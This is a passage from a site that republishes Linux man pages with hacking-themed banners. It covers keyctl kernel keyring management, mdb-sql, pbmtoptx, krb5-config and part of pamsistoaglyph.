or query a specific capability:

$ keyctl supports pkey echo $? 0

which exits 0 if the capability is supported, 1 if it isn’t and 3 if the name is not recognised. The capabilities supported are:

capabilities
The kernel supports capability querying. If not, the other capabilities will be queried as best libkeyutils can manage.

persistent_keyrings
The kernel supports persistent keyrings.

dh_compute
The kernel supports Diffie-Hellman computation operations.

public_key
The kernel supports public key operations.

big_key_type
The kernel supports the big_key key type.

key_invalidate
The kernel supports the invalidate key operaiton.

restrict_keyring
The kernel supports the restrict_keyring operation.

move_key
The kernel supports the move key operation.

ns_keyring_name
Keyring names are segregated according to the user-namespace in which the keyrings are created.

ns_key_tag
Keys can get tagged with namespace tags, allowing keys with the same type and description, but different namespaces to coexist in the same keyring. Tagging is done automatically according to the key type.

Show actual key or keyring ID

keyctl id [<key>]

This command looks up the real ID of a key or keyring from the identifier given, which is typically a symbolic ID such as “@s” indicating the session keyring, but can also be a numeric ID or “%type:desc” notation. If a special keyring is specified that isn’t created yet, an error will be given rather than causing that keyring to be created.

Show process keyrings

keyctl show [-x] [<keyring>]

By default this command recursively shows what keyrings a process is subscribed to and what keys and keyrings they contain. If a keyring is specified then that keyring will be dumped instead. If -x is specified then the keyring IDs will be dumped in hex instead of decimal.

Add a key to a keyring

keyctl add [-x] <type> <desc> <data> <keyring>
keyctl padd [-x] <type> <desc> <keyring>

This command creates a key of the specified type and description; instantiates it with the given data and attaches it to the specified keyring. It then prints the new key’s ID on stdout:

$ keyctl add user mykey stuff @u 26

The padd variant of the command reads the data from stdin rather than taking it from the command line:

$ echo -n stuff | keyctl padd user mykey @u 26

If -x is given, then the data is hex-decoded with whitespace being discarded.

Request a key

keyctl request <type> <desc> [<dest_keyring>]
keyctl request2 <type> <desc> <info> [<dest_keyring>]
keyctl prequest2 <type> <desc> [<dest_keyring>]

These three commands request the lookup of a key of the given type and description. The process’s keyrings will be searched, and if a match is found the matching key’s ID will be printed to stdout; and if a destination keyring is given, the key will be added to that keyring also.

If there is no key, the first command will simply return the error ENOKEY and fail. The second and third commands will create a partial key with the type and description, and call out to /sbin/request-key with that key and the extra information supplied. This will then attempt to instantiate the key in some manner, such that a valid key is obtained.

The third command is like the second, except that the callout information is read from stdin rather than being passed on the command line.

If a valid key is obtained, the ID will be printed and the key attached as if the original search had succeeded.

If there wasn’t a valid key obtained, a temporary negative key will be attached to the destination keyring if given and the error “Requested key not available” will be given.

$ keyctl request2 user debug:hello wibble 23 $ echo -n wibble | keyctl prequest2 user debug:hello 23 $ keyctl request user debug:hello 23

Update a key

keyctl update [-x] <key> <data>
keyctl pupdate [-x] <key>

This command replaces the data attached to a key with a new set of data. If the type of the key doesn’t support update then error “Operation not supported” will be returned.

$ keyctl update 23 zebra

The pupdate variant of the command reads the data from stdin rather than taking it from the command line:

$ echo -n zebra | keyctl pupdate 23 $ echo 616263313233 | keyctl pupdate -x 23

If -x is given, then the data is hex-decoded with whitespace being discarded.

Create a keyring

keyctl newring <name> <keyring>

This command creates a new keyring of the specified name and attaches it to the specified keyring. The ID of the new keyring will be printed to stdout if successful.

$ keyctl newring squelch @us 27

Revoke a key

keyctl revoke <key>

This command marks a key as being revoked. Any further operations on that key (apart from unlinking it) will return error “Key has been revoked”.

$ keyctl revoke 26 $ keyctl describe 26 keyctl_describe: Key has been revoked

Clear a keyring

keyctl clear <keyring>

This command unlinks all the keys attached to the specified keyring. Error “Not a directory” will be returned if the key specified is not a keyring.

$ keyctl clear 27

keyctl link <key> <keyring>

This command makes a link from the key to the keyring if there’s enough capacity to do so. Error “Not a directory” will be returned if the destination is not a keyring. Error “Permission denied” will be returned if the key doesn’t have link permission or the keyring doesn’t have write permission. Error “File table overflow” will be returned if the keyring is full. Error “Resource deadlock avoided” will be returned if an attempt was made to introduce a recursive link.

$ keyctl link 23 27 $ keyctl link 27 27 keyctl_link: Resource deadlock avoided

keyctl unlink <key> [<keyring>]

If the keyring is specified, this command removes a link to the key from the keyring. Error “Not a directory” will be returned if the destination is not a keyring. Error “Permission denied” will be returned if the keyring doesn’t have write permission. Error “No such file or directory” will be returned if the key is not linked to by the keyring.

If the keyring is not specified, this command performs a depth-first search of the session keyring tree and removes all the links to the nominated key that it finds (and that it is permitted to remove). It prints the number of successful unlinks before exiting.

$ keyctl unlink 23 27

Move a key between keyrings.

keyctl move [-f] <key> <from_keyring> <to_keyring>

This command moves a key from one keyring to another, atomically combining “keyctl unlink <key> <from_keyring>” and “keyctl link <key> <to_keyring>”.

If the “-f” flag is present, any matching key will be displaced from “to_keyring”; if not present, the command will fail with the error message “File exists” if the key would otherwise displace another key from “to_keyring”.

$ keyctl move 23 27 29 $ keyctl move -f 71 @u @s

Search a keyring

keyctl search <keyring> <type> <desc> [<dest_keyring>]

This command non-recursively searches a keyring for a key of a particular type and description. If found, the ID of the key will be printed on stdout and the key will be attached to the destination keyring if present. Error “Requested key not available” will be returned if the key is not found.

$ keyctl search @us user debug:hello 23 $ keyctl search @us user debug:bye keyctl_search: Requested key not available

Restrict a keyring

keyctl restrict_keyring <keyring> [<type> [<restriction>]]

This command limits the linkage of keys to the given keyring using a provided restriction scheme. The scheme is associated with a given key type, with further details provided in the restriction option string. Options typically contain a restriction name possibly followed by key ids or other data relevant to the restriction. If no restriction scheme is provided, the keyring will reject all links.

$ keyctl restrict_keyring $1 asymmetric builtin_trusted

Read a key

keyctl read <key>
keyctl pipe <key>
keyctl print <key>

These commands read the payload of a key. “read” prints it on stdout as a hex dump, “pipe” dumps the raw data to stdout and “print” dumps it to stdout directly if it’s entirely printable or as a hexdump preceded by “:hex:” if not.

If the key type does not support reading of the payload, then error “Operation not supported” will be returned.

$ keyctl read 26 1 bytes of data in key: 62 $ keyctl print 26 b $ keyctl pipe 26 $

List a keyring

keyctl list <keyring>
keyctl rlist <keyring>

These commands list the contents of a key as a keyring. “list” pretty prints the contents and “rlist” just produces a space-separated list of key IDs.

No attempt is made to check that the specified keyring is a keyring.

$ keyctl list @us 2 keys in keyring: 22: vrwsl———- 4043 -1 keyring: _uid.4043 23: vrwsl———- 4043 4043 user: debug:hello $ keyctl rlist @us 22 23

Describe a key

keyctl describe <keyring>
keyctl rdescribe <keyring> [sep]

These commands fetch a description of a keyring. “describe” pretty prints the description in the same fashion as the “list” command; “rdescribe” prints the raw data returned from the kernel.

$ keyctl describe @us -5: vrwsl———- 4043 -1 keyring: _uid_ses.4043 $ keyctl rdescribe @us keyring;4043;-1;3f1f0000;_uid_ses.4043

The raw string is “<type>;<uid>;<gid>;<perms>;<description>”, where uid and gid are the decimal user and group IDs, perms is the permissions mask in hex, type and description are the type name and description strings (neither of which will contain semicolons).

Change the access controls on a key

keyctl chown <key> <uid>
keyctl chgrp <key> <gid>

These two commands change the UID and GID associated with evaluating a key’s permissions mask. The UID also governs which quota a key is taken out of.

The chown command is not currently supported; attempting it will earn the error “Operation not supported” at best.

For non-superuser users, the GID may only be set to the process’s GID or a GID in the process’s groups list. The superuser may set any GID it likes.

$ sudo keyctl chown 27 0 keyctl_chown: Operation not supported $ sudo keyctl chgrp 27 0

Set the permissions mask on a key

keyctl setperm <key> <mask>

This command changes the permission control mask on a key. The mask may be specified as a hex number if it begins “0x”, an octal number if it begins “0” or a decimal number otherwise.

The hex numbers are a combination of:

Possessor UID GID Other Permission Granted ======== ======== ======== ======== ================== 01000000 00010000 00000100 00000001 View 02000000 00020000 00000200 00000002 Read 04000000 00040000 00000400 00000004 Write 08000000 00080000 00000800 00000008 Search 10000000 00100000 00001000 00000010 Link 20000000 00200000 00002000 00000020 Set Attribute 3f000000 003f0000 00003f00 0000003f All

View permits the type, description and other parameters of a key to be viewed.

Read permits the payload (or keyring list) to be read if supported by the type.

Write permits the payload (or keyring list) to be modified or updated.

Search on a key permits it to be found when a keyring to which it is linked is searched.

Link permits a key to be linked to a keyring.

Set Attribute permits a key to have its owner, group membership, permissions mask and timeout changed.

$ keyctl setperm 27 0x1f1f1f00

Start a new session with fresh keyrings

keyctl session
keyctl session - [<prog> <arg1> <arg2> …]
keyctl session <name> [<prog> <arg1> <arg2> …]

These commands join or create a new keyring and then run a shell or other program with that keyring as the session key.

The variation with no arguments just creates an anonymous session keyring and attaches that as the session keyring; it then exec’s $SHELL.

The variation with a dash in place of a name creates an anonymous session keyring and attaches that as the session keyring; it then exec’s the supplied command, or $SHELL if one isn’t supplied.

The variation with a name supplied creates or joins the named keyring and attaches that as the session keyring; it then exec’s the supplied command, or $SHELL if one isn’t supplied.

$ keyctl rdescribe @s keyring;4043;-1;3f1f0000;_uid_ses.4043

$ keyctl session
Joined session keyring: 28

$ keyctl rdescribe @s
keyring;4043;4043;3f1f0000;_ses.24082

$ keyctl session -
Joined session keyring: 29
$ keyctl rdescribe @s
keyring;4043;4043;3f1f0000;_ses.24139

$ keyctl session - keyctl rdescribe @s
Joined session keyring: 30
keyring;4043;4043;3f1f0000;_ses.24185

$ keyctl session fish
Joined session keyring: 34
$ keyctl rdescribe @s
keyring;4043;4043;3f1f0000;fish

$ keyctl session fish keyctl rdesc @s
Joined session keyring: 35
keyring;4043;4043;3f1f0000;fish

Instantiate a key

keyctl instantiate [-x] <key> <data> <keyring>
keyctl pinstantiate [-x] <key> <keyring>
keyctl negate <key> <timeout> <keyring>
keyctl reject <key> <timeout> <error> <keyring>

These commands are used to attach data to a partially set up key (as created by the kernel and passed to /sbin/request-key). “instantiate” marks a key as being valid and attaches the data as the payload. “negate” and “reject” mark a key as invalid and sets a timeout on it so that it’ll go away after a while. This prevents a lot of quickly sequential requests from slowing the system down overmuch when they all fail, as all subsequent requests will then fail with error “Requested key not found” (if negated) or the specified error (if rejected) until the negative key has expired.

Reject’s error argument can either be a UNIX error number or one of ‘rejected’, ‘expired’ or ‘revoked’.

The newly instantiated key will be attached to the specified keyring.

These commands may only be run from the program run by request-key - a special authorisation key is set up by the kernel and attached to the request-key’s session keyring. This special key is revoked once the key to which it refers has been instantiated one way or another.

$ keyctl instantiate $1 “Debug $3” $4 $ keyctl negate $1 30 $4 $ keyctl reject $1 30 64 $4

The pinstantiate variant of the command reads the data from stdin rather than taking it from the command line:

$ echo -n “Debug $3” | keyctl pinstantiate $1 $4

If -x is given, then the data is hex-decoded with whitespace being discarded:

$ echo 01 02 03 04 | keyctl pinstantiate -x $1 $4

Set the expiry time on a key

keyctl timeout <key> <timeout>

This command is used to set the timeout on a key, or clear an existing timeout if the value specified is zero. The timeout is given as a number of seconds into the future.

$ keyctl timeout $1 45

Retrieve a key’s security context

keyctl security <key>

This command is used to retrieve a key’s LSM security context. The label is printed on stdout.

$ keyctl security @s unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Give the parent process a new session keyring

keyctl new_session [<name>]

This command is used to give the invoking process (typically a shell) a new session keyring, discarding its old session keyring. If a name is given, the keyring is given that name, otherwise it will be given a name of “_ses” and will not be manually joinable.

$ keyctl session foo Joined session keyring: 723488146 $ keyctl show Session Keyring -3 –alswrv 0 0 keyring: foo $ keyctl new_session 490511412 $ keyctl show Session Keyring -3 –alswrv 0 0 keyring: _ses

Note that this affects the parent of the process that invokes the system call, and so may only affect processes with matching credentials. Furthermore, the change does not take effect till the parent process next transitions from kernel space to user space - typically when the wait() system call returns.

Remove dead keys from the session keyring tree

keyctl reap

This command performs a depth-first search of the caller’s session keyring tree and attempts to unlink any key that it finds that is inaccessible due to expiry, revocation, rejection or negation. It does not attempt to remove live keys that are unavailable simply due to a lack of granted permission.

A key that is designated reapable will only be removed from a keyring if the caller has Write permission on that keyring, and only keyrings that grant Search permission to the caller will be searched.

The command prints the number of keys reaped before it exits. If the -v flag is passed then the reaped keys are listed as they’re being reaped, together with the success or failure of the unlink.

Remove matching keys from the session keyring tree

keyctl purge <type>
keyctl purge [-i] [-p] <type> <desc>
keyctl purge -s <type> <desc>

These commands perform a depth-first search to find matching keys in the caller’s session keyring tree and attempts to unlink them. The number of keys successfully unlinked is printed at the end.

The keyrings must grant Read and View permission to the caller to be searched, and the keys to be removed must also grant View permission. Keys can only be removed from keyrings that grant Write permission.

The first variant purges all keys of the specified type.

The second variant purges all keys of the specified type that also match the given description literally. The -i flag allows a case-independent match and the -p flag allows a prefix match.

The third variant purges all keys of the specified type and matching description using the key type’s comparator in the kernel to match the description. This permits the key type to match a key with a variety of descriptions.

Get persistent keyring

keyctl get_persistent <keyring> [<uid>]

This command gets the persistent keyring for either the current UID or the specified UID and attaches it to the nominated keyring. The persistent keyring’s ID will be printed on stdout.

The kernel will create the keyring if it doesn’t exist and every time this command is called, will reset the expiration timeout on the keyring to the value in:

/proc/sys/kernel/keys/persistent_keyring_expiry

(by default three days). Should the timeout be reached, the persistent keyring will be removed and everything it pins can then be garbage collected.

If a UID other than the process’s real or effective UIDs is specified, then an error will be given if the process does not have the CAP_SETUID capability.

Compute a Diffie-Hellman shared secret or public key

keyctl dh_compute <private> <prime> <base>

This command computes either a Diffie-Hellman shared secret or the public key corresponding to the provided private key using the payloads of three keys. The computation is:

base ^ private (mod prime)

The three inputs must be user keys with read permission. If the provided base key contains the shared generator value, the public key will be computed. If the provided base key contains the remote public key value, the shared secret will be computed.

The result is printed to stdout as a hex dump.

$ keyctl dh_compute $1 $2 $3 8 bytes of data in result: 00010203 04050607

Compute a Diffie-Hellman shared secret and derive key material

keyctl dh_compute_kdf <private> <prime> <base> <output_length> <hash_type>

This command computes a Diffie-Hellman shared secret and derives key material from the shared secret using a key derivation function (KDF). The shared secret is derived as outlined above and is input to the KDF using the specified hash type. The hash type must point to a hash name known to the kernel crypto API.

The operation derives key material of the length specified by the caller.

The operation is compliant to the specification of SP800-56A.

The result is printed to stdout as hex dump.

Compute a Diffie-Hellman shared secret and apply KDF with other input

keyctl dh_compute_kdf_oi [-x] <private> <prime> <base> <output_length> <hash_type>

This command is identical to the command dh_compute_kdf to generate a Diffie-Hellman shared secret followed by a key derivation operation. This command allows the caller to provide the other input data (OI data) compliant to SP800-56A via stdin.

If -x is given, then the data passed to stdin is hex-decoded with whitespace being discarded.

Perform public-key operations with an asymmetric key

keyctl pkey_query <key> <pass> [k=v]*
keyctl pkey_encrypt <key> <pass> <datafile> [k=v]* > <encfile>
keyctl pkey_decrypt <key> <pass> <encfile> [k=v]* > <datafile>
keyctl pkey_sign <key> <pass> <datafile> [k=v]* > <sigfile>
keyctl pkey_verify <key> <pass> <datafile> <sigfile> [k=v]*

These commands query an asymmetric key, encrypt data with it, decrypt the encrypted data, generate a signature over some data and verify that signature. For encrypt, decrypt and sign, the resulting data is written to stdout; verify reads the data and the signature files and compares them.

[!] NOTE that the data is of very limited capacity, with no more bits than the size of the key. For signatures, the caller is expected to digest the actual data and pass in the result of the digest as the datafile. The name of the digest should be specified on the end of the command line as “hash=<name>”.

The key ID indicates the key to use; pass is a placeholder for future password provision and should be “0” for the moment; datafile is the unencrypted data to be encrypted, signed or to have its signature checked; encfile is a file containing encrypted data; and sigfile is a file containing a signature.

A list of parameters in “key[=val]” form can be included on the end of the command line. These specify things like the digest algorithm used (“hash=<name>”) or the encoding form (“enc=<type>”).

k=keyctl padd asymmetric "" @s <key.pkcs8.der keyctl pkey_query $k 0 enc=pkcs1 hash=sha256 keyctl pkey_encrypt $k 0 foo.hash enc=pkcs1 >foo.enc keyctl pkey_decrypt $k 0 foo.enc enc=pkcs1 >foo.hash keyctl pkey_sign $k 0 foo.hash enc=pkcs1 hash=sha256 >foo.sig keyctl pkey_verify $k 0 foo.hash foo.sig enc=pkcs1 hash=sha256

See asymmetric-key(7) for more information.

Change notifications

keyctl watch [-f<filters>] <key>
keyctl watch_session [-f <filters>] [-n <name>] \ <notifylog> <gclog> <fd> <prog> [<arg1> <arg2> …] keyctl watch_add <fd> <key>
keyctl watch_rm <fd> <key>

The watch command watches a single key, printing notifications to stdout until the key is destroyed. Filters can be employed to cut down the events that will be delivered. The filter string is a series of letters, each one of which enables a particular event subtype:

i - The key has been instantiated p - The key has been updated l - A link has been added to a keyring n - A link has been removed from a keyring c - A keyring has been cleared r - A key has been revoked v - A key has been invalidated s - A key has had its attributes changed

The output of the command looks like:

[]

Where keyid is the primary subject of the notification, op is the event and aux is the secondary key if there is one (such as link where the primary key is the keyring secondary key is the key being linked in to it). For example:

255913279 link 340681059 255913279 clr

An additional notication is generated when a key being watched is garbage collected, e.g.:

255913279 gc

The watch_session command creates a new session keyring, with name name if given, watches it for notifications and runs program prog with it. The program is given the specified arguments.

A second process is forked off to monitor the notifications. The output from that is directed to the files notifylog for most notifications and gclog for key removal notifications (which are asynchronous and may be deferred).

The watch_queue(7) device is exported to the program attached to fd number fd. This can be passed by the other two commands.

The watch_add command adds a watch on key to the watch_queue attached to fd as exported by watch_session and the watch_rm caommand removes it. A watch_queue can handle multiple keys and even non-keys sources as well.

ERRORS

There are a number of common errors returned by this program:

“Not a directory” - a key wasn’t a keyring.

“Requested key not found” - the looked for key isn’t available.

“Key has been revoked” - a revoked key was accessed.

“Key has expired” - an expired key was accessed.

“Permission denied” - permission was denied by a UID/GID/mask combination.

SEE ALSO

keyctl(1), keyctl(2), request_key(2), keyctl(3), request-key.conf(5), keyrings(7), request-key(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1006 - Linux cli command mdb-sql

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mdb-sql and provides detailed information about the command mdb-sql, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mdb-sql.

NAME 🖥️ mdb-sql 🖥️

sql** - SQL interface to MDB Tools

SYNOPSIS

mdb-sql [-HFp] [-d char] [-i file] [-o file] [database]
mdb-sql -h|--help
mdb-sql --version

DESCRIPTION

mdb-sql is a utility program distributed with MDB Tools.

mdb-sql allows querying of an MDB database using a limited SQL subset language.

OPTIONS

-H, –no-header
Suppress header row.

-F, –no-footer
Suppress footer row.

-p, –no-pretty-print
Turn off pretty printing. By default results are printed in an ascii table format which looks nice but is not conducive to manipulating the output with unix tools. This option prints output plainly in a tab separated format.

-d, –delimiter char
Specify an alternative column delimiter. If no delimiter is specified, columns will be delimited by a tab character if pretty printing (-p) is turned off. If pretty printing is enabled this option is meaningless.

-i, –input file
Specify an input file**. This option allows an input** file containing the SQL to be passed to mdb-sql. See Notes.

-o, –output file
Specify an output file**. This option allows the name of an output** file to be used instead of stdout.

–version
Print the mdbtools version and exit.

COMMANDS

mdb-sql in interactive mode takes some special commands.

connect to database
If no database was specified on the command line this command is necessary before any querys are issued. It also allows the switching of databases once in the tool.

disconnect
Will disconnect from the current database**.**

go
Each batch is sent to the parser using the ‘go’ command.

reset
A batch can be cleared using the ‘reset’ command.

list tables
The list tables command will display a list of available tables in this database**, similar to the mdb-tables utility on the command line.**

describe table <table>
Will display the column information for the specified table.

quit
Will exit the tool.

SQL LANGUAGE

The currently implemented SQL subset is quite small, supporting only single table queries, no aggregates, and limited support for WHERE clauses. Here is a brief synopsis of the supported language.

select:
SELECT <top clause> [* | <column list>] FROM <table> WHERE <where clause> <limit clause>

top clause:
TOP <integer> [ PERCENT ]

column list:
<column> [, <column list>]

where clause: <column> <operator> <literal> [AND <where clause>]

limit clause: LIMIT <integer>

operator:
=, =>, =<, <>, like, ilike, <, >

literal:
integers, floating point numbers, or string literal in single quotes

NOTES

When passing a file (-i) or piping output to mdb-sql the final ‘go’ is optional. This allow constructs like

echo “Select * from Table1” | mdb-sql mydb.mdb

to work correctly.

The -i command can be passed the string ‘stdin’ to test entering text as if using a pipe.

The ’like’ operator performs a case-sensitive pattern match, with ANSI-style wildcards. An underscore in the pattern will match any single character, and a percent sign will match any run of characters.

The ‘ilike’ operator is similar, but performs a case-insensitive pattern match.

ENVIRONMENT

LC_COLLATE
Defines the locale for string-comparison operations. See locale(1).

MDB_JET3_CHARSET
Defines the charset of the input JET3 (access 97) file**. Default is CP1252. See iconv(1).**

MDBICONV
Defines the output charset. Default is UTF-8. mdbtools must have been compiled with iconv.

MDBOPTS
Colon-separated list of options:

  • debug_like

  • debug_write

  • debug_usage

  • debug_ole

  • debug_row

  • debug_props

  • debug_all is a shortcut for all debug_* options

  • no_memo (deprecated; has no effect)

  • use_index (experimental; requires libmswstr)

HISTORY

mdb-sql first appeared in MDB Tools 0.3.

SEE ALSO

mdb-array(1) mdb-count(1) mdb-export(1) mdb-header(1) mdb-hexdump(1) mdb-import(1) mdb-json(1) mdb-parsecsv(1) mdb-prop(1) mdb-queries(1) mdb-schema(1) mdb-tables(1) mdb-ver(1) isql(1)

AUTHORS

The mdb-sql utility was written by Brian Bruns.

BUGS

The supported SQL syntax is a very limited subset and deficient in several ways.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1007 - Linux cli command pbmtoptx

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtoptx and provides detailed information about the command pbmtoptx, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtoptx.

.

NAME 🖥️ pbmtoptx 🖥️

convert a PBM image into Printronix printer graphics

SYNOPSIS

pbmtoptx [pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtoptx reads a PBM image as input and produces a file of Printronix printer graphics as output.

Note that there is no ptxtopbm tool - this transformation is one way.

OPTIONS

There are no command line options defined specifically for pbmtoptx, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pbm(1)

AUTHOR

Copyright (C) 1988 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtoptx.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1008 - Linux cli command krb5-config

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command krb5-config and provides detailed information about the command krb5-config, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the krb5-config.

NAME 🖥️ krb5-config 🖥️

config - tool for linking against MIT Kerberos libraries

SYNOPSIS

krb5-config [–help | –all | –version | –vendor | –prefix | –exec-prefix | –defccname | –defktname | –defcktname | –cflags | –libs [libraries]]

DESCRIPTION

krb5-config tells the application programmer what flags to use to compile and link programs against the installed Kerberos libraries.

OPTIONS

–help
prints a usage message. This is the default behavior when no options are specified.

–all
prints the version, vendor, prefix, and exec-prefix.

–version
prints the version number of the Kerberos installation.

–vendor
prints the name of the vendor of the Kerberos installation.

–prefix
prints the prefix for which the Kerberos installation was built.

–exec-prefix
prints the prefix for executables for which the Kerberos installation was built.

–defccname
prints the built-in default credentials cache location.

–defktname
prints the built-in default keytab location.

–defcktname
prints the built-in default client (initiator) keytab location.

–cflags
prints the compilation flags used to build the Kerberos installation.

–libs [library]
prints the compiler options needed to link against library. Allowed values for library are:

_
krb5Kerberos 5 applications (default)
_
gssapiGSSAPI applications with Kerberos 5 bindings
_
kadm-clientKadmin client
_
kadm-serverKadmin server
_
kdbApplications that access the Kerberos database
_

EXAMPLES

krb5-config is particularly useful for compiling against a Kerberos installation that was installed in a non-standard location. For example, a Kerberos installation that is installed in /opt/krb5/ but uses libraries in /usr/local/lib/ for text localization would produce the following output:

shell% krb5-config –libs krb5 -L/opt/krb5/lib -Wl,-rpath -Wl,/opt/krb5/lib -L/usr/local/lib -lkrb5 -lk5crypto -lcom_err

SEE ALSO

kerberos(7), cc(1)

AUTHOR

MIT

COPYRIGHT

1985-2024, MIT

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1009 - Linux cli command pamsistoaglyph

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamsistoaglyph and provides detailed information about the command pamsistoaglyph, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamsistoaglyph.

.

NAME 🖥️ pamsistoaglyph 🖥️

convert a single-image stereogram to a red/cyan anaglyphic image

SYNOPSIS

pamsistoaglyph [–invert] [–sep=number] [–minsep=number] [–gray=number] [in_netpbmfile

All options can be abbreviated to their shortest unique prefix. You may use either white space or an equals sign between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamsistoaglyph reads a Netpbm image as input and produces a Netpbm image as output.

pamsistoaglyph takes a single-image stereogram (SIS) such as those produced by pamstereogram(1) and converts it to a red/cyan anaglyphic image such as those produced by ppm3d(1) . Many people have trouble tricking their eyes into focusing beyond the image in front of them and are therefore unable to perceive the 3-D shape hidden within a single-image stereogram. Anaglyphic stereograms are easier to perceive in 3-D but require a pair of red/cyan glasses such as those often used to watch 3-D movies. The goal of pamsistoaglyph is to help people who have trouble viewing single-image stereograms see the intriguing 3-D effect.

pamsistoaglyph can convert single-image random-dot stereograms (SIRDS), wallpaper stereograms, and even dual-image stereograms to anaglyphic images.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamsistoaglyph recognizes the following command line options:

For most images, no command-line options need to be specified. The following options are available, however, for unusual circumstances.

–invert
Swap the left- and right-eye images. pamsistoaglyph assumes that its input represents a wall-eyed stereogram and generates the anaglyphic image accordingly. If the generated image appears to recede into the page where it should pop out of the page (and vice versa), this typically implies that the input image represents a cross-eyed stereogram. Use –invert to correct the image depth.

–sep=number
Specify the distance in pixels between the left- and right-eye images. Essentially, this corresponds to the distance between repetitions of the background pattern. The –sep option should rarely be necessary as pamsistoaglyph is fairly good at determining automatically the eye-separation distance.

–minsep=number
This option is similar to –sep but constrains pamsistoaglyph only to a minimum eye-separation distance. Any distance larger than number is acceptable. The –minsep option should rarely be necessary as pamsistoaglyph is fairly good at determining automatically the eye-separation distance. The default value for the minimum eye-separation distance is 10% of the image width; this value seems to work well in practice.

–gray=number
